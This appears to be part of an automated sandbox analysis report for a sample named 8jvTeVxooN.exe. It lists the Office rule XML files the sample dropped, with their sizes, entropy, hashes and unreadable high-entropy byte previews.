Preview:	.<?...P....a.....gbK.1......5.......A....d.;4.,.ly.....'.Z.....R8.3._D...ps.#.).-..._...9tU^..7...}..#&.:C$..5......Z...,x....m.N2..6c.v.S.=.QH.'......6vK....8.=..h..$s..4H.....<..0e..V......X....ZFA...%..LZ....;..}T..z1.............W...!./. .....1.Iab.7.EC...."....(......?:G...."..\|.."....._K.U.O..TL...\|..:...0at....7."..9#.d_......L.J.b.x..O[.$23...4...".N-...6......c.+.>..,.q.iW....{.?..^5......(.y:K....x`.w._.."r)..~....T..jhVvqS]].Z.. .o6..vDE4L...eG.....y#C..H....M..9..`.x....K.Bj.&..)....$.Si$..=..P.....z.$.X...=..:..Y.3FVJ.7._.rnv.....e.6.9....[.V...o.......6-.../q....uS.52^..>.n.....}r..l.7~yruWX!...[.v.nO.$....Jra...X..Y.r..&..D.oF....(RD.;.d)..`.....a&........f\...}.}:..0.5.Gu>ED!....r{v..Q...(..0..P..#.h..aH...qM2.AD..7b..do....d.,..-K.>.P.~w.6..,.8@L.,F....M.....S....3..j.s.L.......a=.'.G4j0..'\..x...E..^^,9.$.D.C.^..X...W...g.G..r9Cb+.f..!.7.oL^3:K...B`l.......g....#.u......&..v..?.n...gd...B...).......?0.[........e@.q..6...{.L..u

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703950v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1700
Entropy (8bit):	7.888167284531786
Encrypted:	false
SSDEEP:	48:ZprN1T6km7hSgoDfYG8GDnbcyVcH7g2g5NutD:Zf1dchhoFbcyqH7vrV
MD5:	F76E1279713444F51457254064D356C9
SHA1:	85351DDF0B42C206583F96BA398A690391CE141B
SHA-256:	BD90014106EE073AFCC9934258665347DC006D94099E1727F75D4C7D30B049CE
SHA-512:	66B889ABF3FE3CAAA47327CB96A667B4FF31D9BEEF8DE78AE4483E7AAC4F1524D61C233F0931627B9526D1F941A45D508310492C71FA861494C449ECE0E83D69
Malicious:	false
Preview:	.<?IITZ.....MW.NT........g\|....f...I...a...;Q>=.A<..Tg...........G.....5.?..3.d5...............T....[..hC6.....5.=.........2.S$..;Vl>.....G.....b...B.hF....g.......r....~...-x.M.\|^]:..j.O:.....0}...4-!...$.."\|_).c.u..v.p..c)......{N......."..e.CDj...,9)K..7..+R.....D..j.g).Rf.1X.K..'v......qtt(Bz..]......Q`......f.<V...m.d.......g...O...e.l.z.8...38.o..]...v....p.@.S......\|..^.,i....M.T..5.u... .=..g..e.(#....#8.&.>9..C.f.@.X.&..?......s...}.....4TV6g.dZoM.x....:.+.e......Hn.<.h.7.F.'.@.r.D\..qN..B...M..2.j.\..x...~...n4u........k."`DQ..t.!......D...q..._?J....=..#.D...Kp...D'....z.5p5.....5.0MXzs. {i.3X.q..Zr.?..C.\|.y..d........qA...l.)gWkU.....-.>..Z.;...4.R8.>.7...[.w..pt...J*..Gh;...j....[/7..}w..f...V!.{0A.0.X0........wf.....=.w\.y.~......DGb0.YB.....E.6'V...E.. .8.....i.......c.....#.......[HBNNd......s<.F.........S..3...5.U.....(.....&.<'eB.iT..2....o.z.3...s....M@....g.....F..............lT..q5T....>..85.....U.HLY..9.JaD

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703951v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.8754382600369945
Encrypted:	false
SSDEEP:	48:rWf2r7RUjG59fzF1Qbis9ctyciSwD4vPCCKAb6uT9OWhyFO+D:rG2rVAY7F1QbP+tyewD4HtKc6uTUYG
MD5:	720F46950DBDD71A79DC3806A82899A5
SHA1:	74DE5CF6414D82DDDF2F535965007D2A721AA96E
SHA-256:	85BD70F293EFAE59C59E74BCBBE921CB3EFCB5932DEFD2CABB3B37429CD6C087
SHA-512:	E1EAA73ED222096322BF9A1393C381FD6EB57733CDF91D4A9ACD90D6682D0316BC63DC3F28F92095EEA8110E449F3B609F192A252B931D44EAFA14793A8FAD4B
Malicious:	false
Preview:	.<?....=..C..`.'......tE.?v.......x\......5n...`.$.5#s.H..X$.QY?.U.w.6....y.....$J...D..$.....@.........x7...xL.]......w...Ed.dmx.3.^B..b...[.PQ.A.......W..6.....i.l-.A7........<3.....;.PN..0.i....y.wb...~...X,%...u6a\.EPHA.q'Z.w.q..3-........Ux?..V....p.r..3...u68...]'.c.h..c.q.....q.@[!5\|.s.-.....w.2...^.Gw\..t=./.U..B3s,..N...+'../.KL.$?.t.3...5....@...z.8...[.... ..e. .........H#...6.......x3.h.Z&#......T.E..L......~;ta..F.Gs....Y4..;g.P.,.>..%...uq.+B.......A.....)T.......=5..f.n..:.....+.2'...%.u,e..aM/...5.G....l...s@\|......O ..#.7.9FB6..c.D....a2:;&......o...U..x..v..v..o .e<........v..v.....=......c...D0.0[..P..?z.$+. \|.rK8_.....'.U..`^.0..o..J.E..\|...I..#..'....n..Rg..p.....vPh..u\L.3g...&j.Z YM?...r....f~n..D.R..].&>.E.P.....\...dj"..1^~....E..0..i.a.R...?.=.pE@..ST../R....;.p........alT-ON.m.P`.E...Ug5..M.Z..le.T.....T\|./..G...'".n.....I'...6..Ph\..-!..@.....%x...iJ.IL.3x~.H......../...t ....j._.{..\|.:.\azF..>.$.`..7....N..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704000v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.873287879218261
Encrypted:	false
SSDEEP:	24:QPDUgqsHDyZwKMhWeo6kMYKRjTMdqN6/jZgThXQoIOM1HsbzNx+vHeeIaOCgxROX:gDHDDfh1o1MtpTMQqtOZM18+vXPzgYD
MD5:	8ED2C0DABCAD43083DA415CFC02484D1
SHA1:	7D3DF7B86CFA4C9227E095ADBA6326525D93DBB7
SHA-256:	9AFB9E1B0D91644FCBA07D4836874E42346A4DF9BE01B143FEBF5FFB2D06A8DC
SHA-512:	30048C1E063C05DA34A897687B990ABA24356D978B925B807D73776CF14C02AA1386E1094589F5819B3D0DF534472B15213B385EEFDB11187B2394860A0FA43A
Malicious:	false
Preview:	.<?..&R...T...G...e.{."..L.j.M....; ...N..'.........R...,=s....i[A.....o8U:x.D.3.&..2..e`..g.i..2.A9G..2Oi...y.J:Q)N@..........dZ...v...../..'....`...n^E..A....~`.....G.....>..TJL{wT\..&....5..Or..]U.......oV......u.Y...]C..g9=. ....0.4..}.,#.6.....v.4+1D.q........69(.X....e@..i....#.\.Y.. ?n....!}...G.x.:......?l../.....n...#.....X...\....)..."..=..6....M.3.....al..Z..u.cgg..N..<A...[.\...@}k>e...z........d!..!&.W$..G.b.n<.i>j;.`....._.y..$.8... x=......TR].o3.F..2...R..L..^...J.......L.U...x<..{.v...A.n..A...u..F.u.s...B.#.9..g.Ti...N.rw.#.....H..7.N.)&\|...x7Ra.w,.../w.8.\|.:..h..;....p..x..4..&.1&*C..4...\|.....X..t.6..p..P.W...q.S.L..7Wh..q0..a....].\|S....`R.&.....9Y..M.r.`...t....25.g.v.Hh.....p..}V....`,...y[....iI.....\|d.qkC.y0.a....U\...'..z.I....ZH...v...Z..e^..{...@..^p.{.w,B.4.s...L............J.I... ..0}.'t...0\|..p.C#.....w..'...(0HN.Hal.<..........!.b...u.q..z....A..;..A..?...xJ...g......%9....(..........%4e$......].

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704001v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	7.86814918625577
Encrypted:	false
SSDEEP:	48:gMfk0qRqwEIpYhX7VQGieEl8rkB2wdV1aZxd76D:gMpO3EeYhaGieESrwzwdO
MD5:	4FB09842A6217BA60E109AEC44FB5F43
SHA1:	A684E8930D48EC7434B61CCC3B1A3F1F6C015A32
SHA-256:	0D42A91E688A12A41EB3DE100D5D9651562E05EA4CE571FE50D2A34B3D4BE0CC
SHA-512:	31F8BE5AD487A640EB373A398B59EDE3FEB0A2DF5D43B3643E718DA198F9152D630E4F3970DDF1B326ADA0DDC89CCD684582097F8FF64A4808AA995567ECA888
Malicious:	false
Preview:	.<?k....[.w....6.%-.r.AG.S.C....2D.{.t...aC..==....n..K^H....H.a..9....k.....D..9YW..U...c...&..9.....V..=.O....~....F...iV#v.k...-G.\Q@...Wv.....[........Vq.W.l]4!HK.w....&\|...a.N4........:......W..)<...{H....S&}7..N.I..a...Ns.......}@.\|.i.67.LL....fqpBC.d`rU.Y......+......^....=u.m.'0B.Y....t~.....[\|... 0XO?.g......T......V..nO..%V9q.}.u.K.{.J........Z.v/Go..0.....4...a.s744...Eo.h.......I..%...l1%b....^....oW.JQ^4....ex.q>...a.]AT...G/.$v.T..~,iBp{...]_:M..U..k`...h0L.;n.].i..H1G.v..c.>...Gj..%wt0..(..i.4.X..t.@..J..5}Cr.xt....A.E"8....0....j.F.@.J..E.\|a7...'..+..B.._..$F[{....$j....k..L........\.I..g@8.`.]....=......=.~..:.........../......W....J.,..P....`8.P.1..r.yBw.........B2..gF*.;F.......}..U....I....7....'.uE7.&.l..0rt.m..U.~.v...c..\.....s...u.U..%<.8.+ D.6Pg.h.7S.6k..unsv~!8v...}.c.-t.pD"s.Q..J......L...V..T.....)..E.O.zI..c?.b..@aR.T.{}.w....t.}...~a....^....fU..{..N.m......q....0......U._.fS.]N.#U}DV.O9%...E.]..j..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704050v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1690
Entropy (8bit):	7.89748672860112
Encrypted:	false
SSDEEP:	24:DyK1+YXEgxnd/2SXulbaQNhFWuxHkwsx/OnmEMQrLdK5mYDCTYBhFDDiPZcaj55k:OU9XEcjAhFWPwPn6QEvC6fiPKatNdhED
MD5:	54A5764C276EE0E4B25BFCB3344D1163
SHA1:	5EE97A33FCCE877C855E438882124C1E367834DB
SHA-256:	112D6073576AB09610E24AC038E92717E8F0F028525FE2E6E3333504DBED8C7A
SHA-512:	72A37F293FA4A03C9E533748F07488B10E50F47C64F973192784EE348EAA0A9106FA6C263E6D646A16AD153B9279D296711EB25BE2CE97B411221FB7C3F21D4B
Malicious:	false
Preview:	.<?..[7Q.(.c.............@..L.5..F.'X...i.q.....\|>...C. t.L.$....].I......>..l..!)j!.......3b...M....k...\\|X.L.X.VS..FQ.Y..e.......K..2.0..e$`A.vZ..%..}.s....V....^.M..j27P...A.^.O...)x....w03....S...]L.V.MX...k....dT.....M..L.G..D......Qt....?.f.+..Qz..I..i..D.-..DM..lQ..q.$.H....7+...M.....qG.E,.....a.c..w..8.1.K.s.>+x.Uv...dF_..\...{.F..O.._NP."....Q....t...1iU.)....g..._.-v<x..n.;H.Y:6Y.#...0.6.3-'..6.X.."AA...~y..~.R\.S#...q.7w...n`........EbW.;..s.u...Lw`g4.T.........06H..._.l".P..J.....`..,.wxv..@....9oN.....c@)..A...4W.:$...........W..G...A.....O....i..<N.%R.[..r?K..+.i.?T..%J.r.;.....N6.6 .g...2A\|.P..N.....K....d..,..-.D.3t?..(.x...-G..K."Uh.....3....# Y..N.+]..K...jSl..V......7i~.tx_....AM..X.. !..........Z....[?h/.....f....4...k....u.N..b..v...........q.8...6.).AF......WZh (..tphA.Z.p..........3E........R}f.)=..U...&...,0+.....4..yM..TC.Wi.}..R..!..#..&.%.U.....m...yW.m.+<n.Wt..*G.v^.E..y...R.2n.0.s.<.c8......\|{_.2l

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704051v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1727
Entropy (8bit):	7.861944328436495
Encrypted:	false
SSDEEP:	24:e70earXCY4O7bt5/Er9QX4MIjWNTKZVbdweC2o+b7b0SaI24ErzGvo/gd8J/ObD:40Tr3/3Er2HIET4Vdhl7bbaIBsz6LMkD
MD5:	F106FC47D025C9A9B8F5A0EE35F4A309
SHA1:	3F28165D9B8BE10457612D307DCC8AC571A78D38
SHA-256:	C38F275B455F8CD8E591C060A9D470F38AD0F41AC22183DE4AF6EFA4253FA478
SHA-512:	4430CCE3F996B081BEA0B4180478607397163F7949D5180513D8BAD74A698F819E2F2F444131A46DD02FC655A84BFD33B04453F7F867578DF0C08EA8F3821F67
Malicious:	false
Preview:	.<?....r".J %.1...z.r5......u8...!...T...@.$TgQf^.(W...8+......S[.D...\.x...].{5.........#T.e.x@....7.t}N.H.L[..(.3.egy....@M........9.LX.dl...!...$.....` .S"......J..."..{dns.....Su.)&.9{.#.]b..4..}$.b,S.....~-!.H..%S&G..y....{.N.&......"...u.qA.1...rf...E.>t:d...+2..E9.B..w.....O.@.+......q._..qx..]CX$.^.{E.....\|.:.......I.].W......?c>..S8..Z...w=.V...\.T...l.._}Y.q.9.r9...5..S...]....xV.$.-n.n.a.9..W...9.$...<Q.....+a...+.t.F...O~..l.....8....L......].....B..U.J.,..i-.1.....(. .....,X5..dT...PX. 0..~.K.G.G.)&.7>...s.[.dT...9._.!u..7......".Px..n-.?...Fn....4^.}...s.2D..u3i'l.9:..S.EXr>8.Z.]..o..t....P..e.........C...V..._+....R..U...vA..C...."<...................J...\|.9 ...ISj...o..62.]`..(....7i.P].H..4-......L;W2..H.....Y..4...8....%w..qy+..c.E.%.T....-' .xc.....l@.#...@.....G.k.....@>.,...j..$....z.hR....../q4#....=.....E..f.........,..C."8...A$y..*.FD7\....\|'...U.Yh...r....g...~....9...x.....[..jA.....Y...<WR.T%..".Yb..\|....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704100v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.8849042502563815
Encrypted:	false
SSDEEP:	24:0/feVXVsvd/hmfFKmPAXsia2vQ+0ZW/zCpN7Hwzsw/hdIGJeEk/eQFg2q0ObD:0yXG/mfU0pia249+CL7HwToEE3FqXD
MD5:	2914624E8A54779E21B39557D839BD54
SHA1:	CADC66D88AF66DD9BB9905520B0B9AB447F59CF1
SHA-256:	70C121CACF870E78D8955E2D9123172AB2939C42F820C2BD229473A5643ED581
SHA-512:	7B67EDC0A2617DD6173676DF03F6703BBA541A363715DBBECFDC23870CAA2328D43CEA97CC63780CF5D95538A9B1B6FD072D039CD42C0E6EC0055DF08E4F97A1
Malicious:	false
Preview:	.<?n..!;.A..-.z].$...q`?..]$......G..R7..5..9:A...l`.....T.`d..^rSj.uE..G.V.'O\|q.......(m.sa.......E.9S .h..6>l.}....`...>l....-............L.hL.E4w..,....S.`.._.tt.D>^.n({0o3..r....s.i+..........h....+.....o...16.wy...n....!W.!......an....D....t.....ec@.dlB..............<./.t..4.D...c......\|.ZF]...8.^4.L.k.. .@....ydw+..c.......`l8..a...X.e...H.eO........s.E(Q......a./.<.1OH...#.].......k.....9/;.@...R.0.x.]xq..wh..rF.~..k..s.L...%..u.h....K....9uM...z.p..NA.$..,..b....U..MFW......6u.......%,...T....:..^....g<. .`.r.^.@.k.?....?Z...w..{/...SF.........+.%g9D.09.@(5..e.2M...:.OpX.."K2TcZ9Z.1.f..O.....\|.m.15...W..\R...sk.U.....VL:..~......a.#./..q^.h......(X.Av....\|arE.\-...\|..\|5....lB.....4...7dG...<.D=6.......V.Z.I. .T...5..9..C.e..J.&.....LLU....}....<-......l..w....d.h.sZ#..o....;...BUhl41..Y.W..${...,)..y^{3..J...a'...P..3..b. ........t.....7.]s.%X,@5m^......j.....T..m....?..lu..T...[..A..c-J..&.F}....?}.>WP

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704101v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.893337793732125
Encrypted:	false
SSDEEP:	48:ERHEh+q0+IO+MIlq2wH/6CNpWF7fA0f0LZbF5D:yq+q0++wH/6UpG7fAg0rx
MD5:	DB828EE39E1EA3AD261C598AE4F24EC5
SHA1:	80F259B5AB2CBB7FE064ADA41B5FB509326AA0BC
SHA-256:	728A545377B60159C8E6152CF36A3C46C396926145A58435700D489796A38991
SHA-512:	42FBEA738F938CAF8F6DF420E566C4F61BCB7B6998D6FF335BAE918AB309650F382A2B2949BECE81A68DDF0184684B30883A398386512D8CB7D7D7EC259FED31
Malicious:	false
Preview:	.<?H...Z.-...-. ..<.g.F8p.u...H.....\|(ur.).d..w....v.U....>...lLob..P.5:.8.....^i+O.,l.0>8.(F..2....?3iI6..F[.......[....tw.'.Jr.c...{.h@...JP.~ ...B.&.{..C.2.y!....O....A$).C.,..N{P.wC.~......og$.....F_..G...)...-..:..r]..+..P.pz...-c\.(P.Hx.Kw....L.a...v..&.).U.3v+.a...C..V...Z.Rd.=....C..&.."6.S.&n.!..#.'!U.E~....U..........^e.Bzq....w?G.B.'.h.'G.._.u.H......1.r...o.#....Z....r[..o.....u .hVG....._..;..^6...KP.&..~1....!F. .s-3p3.o..SRl.y.W.r!).]..2&.B.....qO..^..$J.W....G2.!..?...y..^..(...Nz...2.9....)j.B~I.......N.....l ......n$)...........Us.}y.3...<..4.9k..[.9.e..Ri3~...w.Du.W.9..A...E06.z...3;.x.......g...r.s!..O.e..!.C.D..8J\|.H.....l.(..WV;R(D.B.6C.....X<^....t..pe..4K.d.l...v..I...... w.@?.J..m..M...o..A.....L....,./..R.rX.).K(....H...=Xj.f.... .E.Y.X/1k......4..E..I.pY..y.%du...n..}...&....R?....of...........X......._......p..........g."...-t.C..Gk...c.:A7./..3_]x.j.B....uI..A..........U.;jQ.....m&...r.$.l....._c"...,...H

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704150v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.895334605592316
Encrypted:	false
SSDEEP:	24:sJO7FOwvRCKVQyc/TNmZ6ZGKGD7iBqYjGr+rKlnTVZ672ZzIJuOVrYObD:sJOFvZ+yiTItKY7iMYyr6KpTKqZDOpLD
MD5:	7254AB5BD8BEF9AC5F99A1441FCBE313
SHA1:	21EF69A9F3EA85FA18E0DC7313911D163F46E351
SHA-256:	3601627F0CE18A86E549E3FD3811ACD6C468506B272FA76C98CA037E0817D9BA
SHA-512:	8850F0E2D5B135C7304B264C3AA1C8AB48B5D509974DC00617F985E392E7D40C353A0FF08817A5A21A86F7C135A9B4A4742199FC949613CE949FAA8F6870B07E
Malicious:	false
Preview:	.<?.2}...7..:r.c.>.7d.HL.cb..N+....9.....]..N....:......n....\..B}.+=;..T.../..]................p....X.'..^e..Tp.s.T.Q.._;.....].jC...m.....f8..z..l...Q..G..;.o.....ZL...!).......aW..;.I.].E.h..d.n8......<...M{....$...crl.C....R.:D.qK]B..1..q....=&...7]R..7..IZ,.....f.I..C..n."0U...b...F@?...chpCQ.r...7$..tI..F....K"..c.....b+.QR.w..L."\|i..bu?y..'..".....B..."......Y.,..#..w..2...Z.0Z.EN..gA.......<.O)..b..!.....e..u.....}....v.].A..\|........V.6....`..y2...^._.9.f4._...2.4.A..0!;..t..(M]&.p\.....!...H.2+...G.....`x...n.....7.......<ZL.c..v6..\. ..<..nW.+.^#X#f6^..u.>..5[w..0......W..S.I"Ki.b5...(....]WD...@...M...."..H.Y.k.YR ...?....EU..PR0..G.-.W..7nq.B...$r..5m.+.... f........J.nQ...T.3Y.5.`..,..+....2UG....'...P)v8............k..71 ..]..K..c..8.Q.A.F..9$.6..{......'-H.....%W.M.,P...cX...Z.....U.k.Wt-1..D_..wG.....Xb*.d....D.;...h.]{.lw...n9...#.....<{>.._..%,.b...O..9^}...e.O_Vq:..m......Z4.....w.r.Dq#..8Y.p}.Zb.GA%R.p.K....q.g

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704151v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.885661477938636
Encrypted:	false
SSDEEP:	48:7En3J7Js1oUh+RqekJp4/XurrLTix4HLokVXK9Cf9D:7cpUclkEfULTQ4rokxK4fF
MD5:	AF8CC8565F713CFF55CB926FCA1F1FBA
SHA1:	EF22522028022D9B22FDB4D745177C10EDE1B916
SHA-256:	41A06FD33C2D7C00DA9261FDFC0CF8BB53CD86655535CA98487C5D9C9DCD9C49
SHA-512:	54A0396FE11AC28C92A4E658BB41802525737D00BF57E02BD8FDAC4629A9B840F0F726F90E33C41241531475AA53EFBF4B37B5EF4ED6CD35DDF3AF35025DD26D
Malicious:	false
Preview:	.<?...nl..y.(..1......Y.r..4.&....BF8.I..%H..^m.A.U.....o..&I.yW..5nPB[......N...Qb..}....J...k.]......N....?)K......9. ..b.D....9z`F..\|4z...Dwf...g...o..%`O...W.%@C8.......y...\|zL..=?....y._....~:.~..t..T&_W.Sad.~.....7Cv.[[........P2.@...8.._..R..P-..I......4../)E......e.n.\|.......ZX..33\|.;.#y...[.......`.........9...85...K..m...D.\Fd4.?.Yp....^..eo....p'<.9..>{:..c....i[KBKX..W/.~.z.P.q.Y.b.s..9......;k....kS@....v..Wf...g.x..<S..A...f.j..!.h%pR..f....q.8..e....WD.=.[Z.a.=........xVW.o....oH........5Z..[#e.n.....\|....r..9....{>..P..#&I.A.=..7).%^...#.b.B.H..K1.E.=XC.=.....d.....7...O,...-.x.CQP0<y.M....i.<..q\.b....o..o.s..:..{.Ntm...."S..I.......l...{..8....{..T+z1....[..M./.:#.._........#<R7..,..^...k.Aa..Q.-.vo......Cd..0.......~Z....&.M8.2G3.._..R...]...........D#.='.......F..n{..R.....5F....38.A,(...B.,M@.l..4..".....d.A.6...\|..n...l.a..YC......".k.#0...}.K.........s...!.;.F...]....9.........v...v.....+$.B..N.C.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704200v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1714
Entropy (8bit):	7.882910503746637
Encrypted:	false
SSDEEP:	48:kaWxGYqCbjviBvD2uje/AzNRB3YjKBKoD:bWxQYjKdaohRB3PK0
MD5:	992D1E76BC2BAB38B853359DCE871260
SHA1:	681753F9A67D1D334E1301CB7EEF79514601CB5A
SHA-256:	9D3B6977B8FDDA661176D62D552A42E67D01717401288F2B64B6CAE3FA86E167
SHA-512:	3B5F8CA489E3070BED0636EA11850A191C67C48BB0849D375516E8F4BF9B8EC2F932EEB6618CB13ACBBFEF37C998622AC8A1786CDFB3DB607D3323241E8D1DDF
Malicious:	false
Preview:	.<?....K~...r&..'...?...!....E.......p..Vb\|...)..+Q.v.....53>..-.0.s..)...4.i.....]....-h./O.0.=....&...mfr.....M#....K.1c..3............lV@.F..&...C/.Q...)..z.}.....<Nolm#..`.l.]...hn.u....aIZ.Ld....~...{.....1.N.L.{m..2)#........a.H..-.).7Jv...O.qG........J....5s..wJ-Cd...........+......;-.....?K...b..c.G.#...L...C4......6`eH..M.x+..........}.. 95.\....G...u.Syf...Y.R ..7Q.....\|4.....< .Q.}..]...L....8%4#.....a.....1....~Bn.*......B............."..j ...<Kaw......FF..S...7.O.#..(.\.....\|)p...L.F.K.-.88.Q.SL..(..~.buw.>V....G.`...v.b........h.`..W.......JGA../.S..$...8.L..Hv"ib.[8.M[&.....D)Z.....V\..U^"....t._k..........8.k...H.....<Y\+#..............R.N.Z."+F....P-....7....d,. ..#..u6z.._H.p......!.t..bp...........B.J0..el..a.D.}E.p....{-B....}../..."<.......('.D..]..U.=L..Q....'....0.Kj@..TN4l.^.H.,.^D.c.yu..E.....<...U....k...k...&.E.vM.C.O.+.&.).$X...<...7.%.^.]z...\|.`.^>\..O.....!.u.j.8.-...%.....S...[..U..-E..VE0.v.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704201v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1751
Entropy (8bit):	7.8972974139958785
Encrypted:	false
SSDEEP:	48:OrhG+vGP43+jdhFWQJ7KFCvoc1214CigLsNus/D:yE+vn+hsC10RiasQsr
MD5:	DC0C518E87C914AB52F4077DDB2B5DB1
SHA1:	A8835C8B17F47E5CE6DB09534E97BA281D94B6B9
SHA-256:	AF21519EF187A87385FC6ADD442BDFC0EEF4B26DEA700568CE7D3AA48F0B77AB
SHA-512:	7E16533B974072941693E74D4FFA5FD8F5902B25D8E870FDE4624D241C44EC9AF4FF62CFD6705106E9122800390A921ACBCA431F1944E1472F5E4DAEFA43FD10
Malicious:	false
Preview:	.<? O.N.....W.i.0...(...d.....4.v.:9..=.N.Q)-...1.....%....c!nj.,{7.l[i.I.8..u...>.].2=.c.........Q.O...5.W...............4..e%.zT..5...m..J. :.'S..)..R..k...^.5...mJ.....`g..........}/..EJs....F3b..Y.h%.L..A...]........:..T..)..>=c.k_..2!...i..,..:.m/zY..../...3.%..C....n..;.c..M.).....s..#..O.i<yV....M..m.Er{...+.B.kF`..W....f...i..d..;8s>...t.4.g...mT....w..Xt.<..=?/..n(P._).(c.k\.s6A..x5.[...k.c.kBK.=.\|.Z.......a..n...<.c..U..<.,o.A..[A''....(M?"G1.aN....w.a...,.@E.~5...Y.B.;.-...w....D.yG..M.WI..4O.....I.m...:..m........*.>.{....!..T(6.=...M~Q.]1...E..&H_v...xp.g.u.^P......B.....1eLPP...M.K.&..T.S.;I...1v..5c_y[...9GX......p'.....T.u].....}r..m.#..:..Ec...j.....Y.......Ms...,z........:s......S.v.....\.Dm......,..S\.........j.......`;....)..].Y.V..ji.q..$...v..'.%.......v..j..IL....yw..S...w.A6.@......bq...~.vN.zg...6.wT.....T.o.xT.[.v...V.Z.3...M.......2.d1.......2....<V...1.N......#X{.O........6..$.^...H....t..T.H.c...G..0.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule90401v3.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.871528478724315
Encrypted:	false
SSDEEP:	24:RIIrb/2a/iajgXBwwpFzgHC8I8a01dfCaiQcGWu9ep3iBQxzN0w6sEbcVw7rmICI:RIZmcb0i8Id01dKaiQE9OZlbMw7lD
MD5:	F1F5B03EDD5FECA95169B60925A2BC71
SHA1:	77360DF7FC34BF0E0601EE18D751232A0C36E3FC
SHA-256:	C535D3D0483226DF3A46B702D814F55B2EDABC385BD96DC3083BB33AAC3A4DAF
SHA-512:	92B2829E5A6B7996DE1A03131C775D5C9D5ABB8EC649E2911B84F541E6083C31B38DB687CF48FD145B77EE102F38A1DE3C239DD49977AE79D8D37D5A80DFB20A
Malicious:	false
Preview:	<?xml.-..A^:0E..G.Oh=8.V....$...^oR..$WW..\|.2=.'e7...~...B..;4.....J.T..m....F..<.5).!...!......>.o...f.`.>9AP....[yh8.....~..d8..eW;....w.7...Y.w....O.re..J.....8...-..;d........Y7?.....F.... .\|V4..8B.^.....+).-Yq.......V..l5vsT..=N....y)....^V8h.T...N..WAxn.7...W]...ow...(g.c.T3AS..=...;i..M.NT..va.s..g.ye..6?..9....r.!.....OW~.....iZ........t&.s.....U>$....E....~.m..S.=..v<B.e.6E...:6.KEd....p."E..5@..[.m......I.n.....W.."..e{.d..S.}e.T.QCD.3O........[.K...-.... !.f..x.....>{r.'..\|.....E....0CV..j.'...';G_.<k:. o..K..L..."..C..q..CD.7.....;wJ.<.c.:.....V...n1..)"....%.i...kaC....M..k.vc..4...<)4..D....S......Z....B.`..#.).U.).]\|Q..0.F.V..$..l7......5..`%2..).>.>$...$..c.....fU......y..L.S.o.<'..LwzE v..&qK...]....)..bH..H.t.k`.5u9....7.I.I.6.....7=b.8..>j+;.;.y.6.Ou.pL.{...`%..T.;.,\...d;+;<..j.G.s...........N.t..+2^...X..HB...o....f..~O..'...~<.....j.;<mgW;.M......F0v.BD.....C.XA..M.?.'2a...%]"J.yx........G....n]...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	361051
Entropy (8bit):	6.513416743895254
Encrypted:	false
SSDEEP:	3072:vteOQEe/YsusfzA8TMr/flShHO6oV7jBgd5H/MC0M4l0f/z1DeYarcK9sOFw9:vtePwsuoUVrXlSO7m2y/NeWEsOFq
MD5:	1C93414D525C2A59A112A4F9EAFEDEB1
SHA1:	0FCF28B604C1FECF8D3D774311C7A6681E8E4BF9
SHA-256:	9F63660C431D99CDBA11F07AAA17BE757B9BECCB5D67BF6A04592A5FF68B035E
SHA-512:	E6837A5932E4D60FD9443E377D3ABB52D5CB6B484F5F9127814AFC9BFE15CFB2080C52ED5D3BCDF383EC7DF372FC2D53936E08038513289119B336B3F9879299
Malicious:	false
